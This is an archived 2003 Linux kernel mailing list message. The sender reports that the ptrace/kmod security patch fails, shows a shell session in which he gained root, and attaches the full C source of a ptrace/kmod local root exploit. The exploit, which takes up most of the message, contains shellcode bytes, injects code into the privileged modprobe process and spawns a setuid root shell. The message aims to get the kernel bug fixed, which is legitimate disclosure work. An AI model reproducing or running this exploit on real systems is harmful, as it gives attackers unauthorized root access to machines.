All of lore.kernel.org
 help / color / mirror / Atom feed
From: Adam Majer <adamm@galacticasoftware.com>
To: Bernhard Kaindl <bk@suse.de>
Cc: linux-kernel@vger.kernel.org, Marcelo Tosatti <marcelo@conectiva.com.br>
Subject: ptrace secfix does NOT work... :(
Date: Sat, 10 May 2003 15:52:49 -0500	[thread overview]
Message-ID: <20030510205249.GA1179@galacticasoftware.com> (raw)
In-Reply-To: <Pine.LNX.4.44.0305082310230.12720-200000@wotan.suse.de>

[-- Attachment #1: Type: text/plain, Size: 890 bytes --]

On Fri, May 09, 2003 at 12:05:52AM +0200, Bernhard Kaindl wrote:
> Hello,
> 
> The attached patch cleans up the too restrictive checks which were
> included in the original ptrace/kmod secfix posted by Alan Cox
> and applies on top of a clean 2.4.20-rc1 source tree.

But the ptrace hole is _NOT_ fixed... :(

adamm@polaris:~/test$ uname -r
2.4.21-rc2
\u@\h:\w\$ ls -ltr hehe
-rw-------    1 root     root           17 May 10 15:44 hehe
\u@\h:\w\$ whoami
root
\u@\h:\w\$ cat hehe
I can see you!!
                                                                                                              
\u@\h:\w\$ rm hehh
\u@\h:\w\$ ls -ltr hehe
ls: hehe: No such file or directory

I'm attaching the exploit so someone can fix the bug properly.
I could get root even with the patched 2.4.20 so I don't think
that this is the fault of the your patch.

- Adam

[-- Attachment #2: test.c --]
[-- Type: text/x-csrc, Size: 4025 bytes --]

/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * This code exploits a race condition in kernel/kmod.c, which creates
 * kernel thread in insecure manner. This bug allows to ptrace cloned
 * process, allowing to take control over privileged modprobe binary.
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
  "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
  perror(msg);
  kill(parent, SIGKILL);
  kill(child, SIGKILL);
  kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
  char buf[MAXPATHLEN + CODE_SIZE];
  unsigned long * src;
  int i, len;

  memcpy(buf, cliphcode, CODE_SIZE);
  len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  if (len == -1)
    fatal("[-] Unable to read /proc/self/exe");

  len += CODE_SIZE + 1;
  buf[len] = '\0';
  
  src = (unsigned long*) buf;
  for (i = 0; i < len; i += 4)
    if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
      fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
  struct user_regs_struct regs;

  if (gotchild++ == 0)
    return;
  
  fprintf(stderr, "[+] Signal caught\n");

  if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
    fatal("[-] Unable to read registers");
  
  fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  
  putcode((unsigned long *)regs.eip);

  fprintf(stderr, "[+] Now wait for suid shell...\n");

  if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
    fatal("[-] Unable to detach from victim");

  exit(0);
}

void sigalrm(int signo)
{
  errno = ECANCELED;
  fatal("[-] Fatal error");
}

void do_child(void)
{
  int err;

  child = getpid();
  victim = child + 1;

  signal(SIGCHLD, sigchld);

  do
    err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  while (err == -1 && errno == ESRCH);

  if (err == -1)
    fatal("[-] Unable to attach");

  fprintf(stderr, "[+] Attached to %d\n", victim);
  while (!gotchild) ;
  if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
    fatal("[-] Unable to setup syscall trace");
  fprintf(stderr, "[+] Waiting for signal\n");

  for(;;);
}

void do_parent(char * progname)
{
  struct stat st;
  int err;
  errno = 0;
  socket(AF_SECURITY, SOCK_STREAM, 1);
  do {
    err = stat(progname, &st);
  } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  
  if (err == -1)
    fatal("[-] Unable to stat myself");

  alarm(0);
  system(progname);
}

void prepare(void)
{
  if (geteuid() == 0) {
    initgroups("root", 0);
    setgid(0);
    setuid(0);
    execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
    fatal("[-] Unable to spawn shell");
  }
}

int main(int argc, char ** argv)
{
  prepare();
  signal(SIGALRM, sigalrm);
  alarm(10);
  
  parent = getpid();
  child = fork();
  victim = child + 1;
  
  if (child == -1)
    fatal("[-] Unable to fork");

  if (child == 0)
    do_child();
  else
    do_parent(argv[0]);

  return 0;
}

  parent reply	other threads:[~2003-05-10 20:47 UTC|newest]

Thread overview: 8+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2003-05-08 22:05 [PATCH][2.4] cleanup ptrace secfix and fix most side effects Bernhard Kaindl
2003-05-08 21:31 ` Alan Cox
2003-05-08 22:48   ` Alan Cox
2003-05-08 23:59   ` Bernhard Kaindl
2003-05-09  0:17     ` Bernhard Kaindl
2003-05-10 20:52 ` Adam Majer [this message]
2003-05-10 21:11   ` ptrace secfix does NOT work... :( Daniel Jacobowitz
2003-05-10 21:25     ` Adam Majer

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20030510205249.GA1179@galacticasoftware.com \
    --to=adamm@galacticasoftware.com \
    --cc=bk@suse.de \
    --cc=linux-kernel@vger.kernel.org \
    --cc=marcelo@conectiva.com.br \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.